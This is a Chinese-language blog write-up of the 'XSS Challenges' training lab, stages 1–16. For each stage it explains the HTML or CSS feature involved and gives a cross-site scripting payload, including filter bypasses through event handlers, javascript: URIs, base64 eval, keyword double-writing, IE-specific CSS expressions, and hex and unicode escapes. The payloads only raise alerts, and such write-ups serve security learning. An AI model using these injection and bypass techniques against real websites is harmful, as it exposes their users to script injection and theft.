文章目录

  • stage-1 没有过滤的XSS
  • stage-2 标签属性中的XSS
  • stage-3 选择列表中的XSS
  • stage-4 隐藏提交参数中的XSS
  • stage-5 限制输入长度的XSS
  • stage-6 html事件中的xss
  • stage-7 空格分隔属性中的XSS
  • stage-8 Javascript伪协议触发XSS
  • stage-9 utf-7绕过
  • stage-10 过滤domain为空的XSS
  • stage-11 替换script和onmouseover的XSS
  • stage-12 利用IE特性绕过过滤的XSS
  • stage-13 利用CSS特性绕过的XSS
  • stage-14 IE中利用css触发的XSS
  • stage-15 十六进制绕过过滤触发的XSS
  • stage-16 unicode绕过过滤触发的XSS

stage-1 没有过滤的XSS

很简单,闭合b标签注入payload即可。

payload:

123qwe"</b><script>alert(document.domain)</script>

stage-2 标签属性中的XSS

与stage-1没有区别,闭合标签即可。

payload:

123qwe"><script>alert(document.domain);</script>

我们还可以在属性中的XSS闭合引入事件(事件为当鼠标移动在此处就弹窗)

123qwe"οnmοuseοver=alert(document.domain)>

stage-3 选择列表中的XSS

HTML select标签介绍:
select 元素可创建单选或多选菜单。 元素中的 标签用于定义列表中的可用选项。通过表单提交。前面一个volvo表示提交的表单值为volvo,后面的volvo表示在菜单列表中显示的内容。


表单介绍
HTML 表单用于搜集不同类型的用户输入。

手工
输入数据为1123选择国家为Japan,抓包结果如下:直接进行了转义

在参数p1进行构造:失败

尝试在参数p2进行构造:成功弹窗

payload:

p2=Japan<script>alert(document.domain);</script>

stage-4 隐藏提交参数中的XSS

HTML 表单隐藏参数介绍
隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上。
代码格式:

  <input type="hidden" name="..." value="...">

HTML中svg介绍
SVG 意为可缩放矢量图形(Scalable Vector Graphics)。 SVG 使用 XML 格式定义图像。 SVG 文件可通过以下标签嵌入 HTML 文档:、 或者 。 也可以使用svg标签插入。
<svg/事件=””>


经过尝试发现p1和p2都进行了防护措施,我们对p3构造

payload:

p3=hackme"><svg onload=alert(document.domain);>
//当然也可以用<script>但是有些程序员可能会对其进行过滤,这时候可以考虑用<svg>来绕过

stage-5 限制输入长度的XSS

这个就很轻松,审查元素修改直接绕过。

payload:

123qwe"><script>alert(document.domain);</script>

stage-6 html事件中的xss

HTML 事件介绍
在现代浏览器中都内置有大量的事件处理器。这些处理器会监视特定的条件或用户行为,例如鼠标单击或浏览器窗口中完成加载某个图像。通过使用客户端的 JavaScript,可以将某些特定的事件处理器作为属性添加给特定的标签,并可以在事件发生时执行一个或多个 JavaScript 命令或函数。


闭合思路分析


闭合input标签,加入"><script>alert(document.domain);</script>发现引号和尖括号都被转义了 这个方法行不通。

通过HTML事件来触发XSS,"onmouseover = "alert(document.domain)"成功弹窗

stage-7 空格分隔属性中的XSS

用上面的payload会发现都被转义了。但是有个神奇的现象,在参数之间加个空格,属性会被分割。

尝试在空格后构造payload

payload:

2222 οnmοuseοver=alert(document.domain)

stage-8 Javascript伪协议触发XSS

javascript伪协议介绍
将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。
这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。

 javascript:var now = new Date(); "<h1>The time is:</h1>" + now;

javascript URL还可以含有只执行动作,但不返回值的javascript语句。

avascript:alert("hello world!")

a链接标签属性href介绍
<a>标签定义超链接,用于从一个页面链接到另一个页面。
<a> 元素最重要的属性是 href 属性,它指定链接的目标。
在所有浏览器中,链接的默认外观如下:
未被访问的链接带有下划线而且是蓝色的
已被访问的链接带有下划线而且是紫色的
活动链接带有下划线而且是红色的

手工
闭合href构造payload,之前的payload又行不通了,尝试构造javasript伪协议触发XSS。注入payload后点击超链接成功弹窗。
payload:

javascript:alert(document.domain)">

stage-9 utf-7绕过

脑残题…IE的utf-7现在去哪里找这种东西。直接用firebug绕过了。
找到合适的地方插入,这里我们选择插入在br标签中

<script>alert(document.domain);</script>

stage-10 过滤domain为空的XSS


发现domain被自动替换为空,考虑双写绕过或者编码绕过。
双写绕过Payload:

"><script>alert(document.dodomainmain);</script>

编码绕过Payload:

<script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
atob函数将base64进行解密

stage-11 替换script和onmouseover的XSS

script被自动替换成了xscript

onmouseover也被替换成了onxxx

首先考虑考虑伪协议绕过
Payload:

"> <a href=”javascript:(document.domain)">xss</a>

javascript被替换为了javaxscript

考虑空格绕过
payload:

"><a href="javascr    ipt:alert(document.domain);">xss</a>
//现在这个却爆出了404错误,百思不得其解,有知道的小伙伴可以告诉我
"><a href="javascr&#09ipt:alert(document.domain);">xss</a>
//尝试将空格用tab制表符号的十进制替换

stage-12 利用IE特性绕过过滤的XSS

1、HTML事件触发XSS

双引号和尖括号都被进行了过滤

2、闭合input,利用外部标签触发XSS

同样双引号和尖括号都被进行了过滤

ie浏览器的特性:
IE中 两个反引号 `` 可以闭合一个左边双引号。

Payload:

`` οnmοusemοve=alert(document.domain)

stage-13 利用CSS特性绕过的XSS

1、HTML事件触发XSS

"οnclick="alert(document.domain)"

2、闭合input,利用外部标签触发XSS

"><script>alert(document.domain);</script>


都被进行了转义,js代码无法执行

CSS特性讲解
background:url(“javascript:alert(document.domain);”); 设置背景颜色
设置background:url ,利用javascript伪协议执行js。目前IE浏览器支持,其他浏览器已经不再支持。(需要找到能够支持的IE浏览器版本)

Payload:

background-color:#f00;background:url("javascript:alert(document.domain);");

stage-14 IE中利用css触发的XSS

CSS介绍
层叠样式表(英文全称:Cascading Style Sheets)是一种用来表现HTML(标准通用标记语言的一个应用)或XML(标准通用标记语言的一个子集)等文件样式的计算机语言。CSS不仅可以静态地修饰网页,还可以配合各种脚本语言动态地对网页各元素进行格式化。

CSS中执行js
css expression(css表达式)又称Dynamic properties(动态属性)是早期微软DHTML的产物,以其可以在Css中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始得到支持,后因标准、性能、安全性等问题,微软从IE8 beta2标准模式开始,取消对css expression的支持。

实际应用
早期很多开发人员利用css expression实现了许多效果,比如将元素相对鼠标指针进行定位,根据一个定时器来移动元素等等。当然这些效果能够使用js来实现。虽然css表达式问题很多,但是我们依然能够在网上看到它们的影子,甚至在一些成熟的商业网站上。最常见的一个应用就是悬浮在页面上的某个模块(比如导航、返回顶部)。

手工
注释绕过关键字过滤发现expression被过滤为XXX

CSS中的注释 /**/。绕过对关键字expression的过滤。 ex/**/pression
Payload:
xss:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

stage-15 十六进制绕过过滤触发的XSS

16进制介绍
十六进制转换有16进制每一位上可以是从小到大为0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F16个大小不同的数,即逢16进1,其中用A,B,C,D,E,F(字母不区分大小写)这六个字母来分别表示10,11,12,13,14,15。

转换后<>的十六进制分别为0x3c和0x3e,转化为浏览器可识别的十六进制为\x3c和\x3e

手工
使用以上的payload都行不通,考虑十六进制绕过

发现斜杠被过滤,考虑双斜杠绕过

payload:

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

stage-16 unicode绕过过滤触发的XSS

unicode介绍
Unicode(统一码、万国码、单一码)是计算机科学领域里的一项业界标准,包括字符集、编码方案等。Unicode 是为了解决传统的字符编码方案的局限而产生的,它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。

使用python将字符转换为unicode类型。

手工
发现十六进制又被过滤了

考虑unicode编码

发现斜杠又被过滤了,考虑双斜杠绕过
payload:

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

XSS challenges闯关笔记相关推荐

  1. XSS Challenges闯关1-6

    第一关: 靶场链接:XSS Challenges (by yamagata21) - Stage #1 第一关截图:(翻译为中文后) 选中Hint查看提示:显示非常容易,但是图中显示必须要用alert ...

  2. xss challenges闯关详细(6-10)

    XSS Challenges (by yamagata21) - Stage #1 目录 一.第六关 二.第七关 三.第八关 四.第九关 五.第十关 一.第六关 输入good man测试 回显位置,输 ...

  3. sqli-labs闯关笔记(Challenges)

    sqli-labs项目地址:https://github.com/Audi-1/sqli-labs 文章目录 Less-54 Less-55 Less-56 Less-57 Less-58 Less- ...

  4. XSS挑战之旅闯关笔记

    环境自己搭建~~好嚣张: 1.http://127.0.0.1:8024/xss/level1.php?name=test  这是URL 看到后面name有参数传递,不多想直接尝试xss. 没有任何过 ...

  5. php scrscriptipt,XSS挑战之旅闯关笔记

    环境自己搭建~~好嚣张: 1.http://127.0.0.1:8024/xss/level1.php?name=test  这是URL 看到后面name有参数传递,不多想直接尝试xss. 没有任何过 ...

  6. XSS-Lab闯关笔记

    xss-lab项目地址:https://github.com/rebo-rn/xss-lab xss学习文章:https://wizardforcel.gitbooks.io/xss-naxienia ...

  7. wargames bandit 闯关笔记

    Level 0 account : bandit0 password : bandit0 使用secureCRT 连接服务器 Level 0-1 account : bandit0 password ...

  8. XSS Challenges stage#1-10闯关详解

    XSS Challenges stage1-10闯关详解 文章目录 XSS Challenges stage1-10闯关详解 0x01 xss challenges 闯关环境准备 1.XSS chal ...

  9. XSS学习笔记:XSS Challenges 1-19通关全详解

    前言 学习下XSS 主要是XSS Challenges 平台 共19关 模仿真实xss挖洞的情景,用浏览器中的f12中搜索,找出我们控制的代码所在的位置 思考那些个位置哪个或哪几个位置可以被注入我们想 ...

最新文章

  1. python打包exe报错_python 程序打包为 windows 可执行程序 exe
  2. 弄断过河电缆_你说的是:剪断电缆线
  3. 浏览器端判断当前设备的运行环境
  4. 【Unity开源项目精选】UniRx:Unity中的响应式编程
  5. 分析与设计:员工管理系统
  6. 用C语言编写99乘法表
  7. 微信小程序官方界面UI设计秘籍
  8. 软考高级系统架构设计师系列论文二十四:论信息系统的安全风险
  9. python中fact_python中fact函数使用
  10. Vivado使用系列:使用自定义BD
  11. 从一杯果汁浅谈点点医生充值提现模块设计
  12. HYSBZ 2818 Gcd
  13. java 如何理解new_JAVA中new的 理解
  14. 【转】实习中,我怎样学习和工作
  15. 自编Photoshop简单教程
  16. Scrapy简明教程(一)
  17. 高级软件工程第九次作业:东理三剑客团队作业-随笔6
  18. vue生命周期函数面试题
  19. echarts图表生成base64
  20. java的depot类有什么方法_HP-UNIX depot软件安装方法

热门文章

  1. ffmpeg+dxva2 +D3D9显示 学习笔记
  2. ABBYY FineReader 15标准版OCR文字识别及PDF编辑软工具
  3. 总结2019,憧憬2020
  4. 计算机应用基础课程作业2016,2016浙大远程教育计算机应用基础作业
  5. \int_0^{+\infty} \frac{\sin x}{x}\mathop{}\!\mathrm{d}{x}
  6. 移动收款功能(未完成,无参考价值)
  7. 报表中的地图怎么做?
  8. 西班牙首相被中国新零售圈粉!天猫总裁靖捷透露了一个“合伙人计划”
  9. springcloud官方文档,中英文双版
  10. RFID卡片的扇区与块地址的关系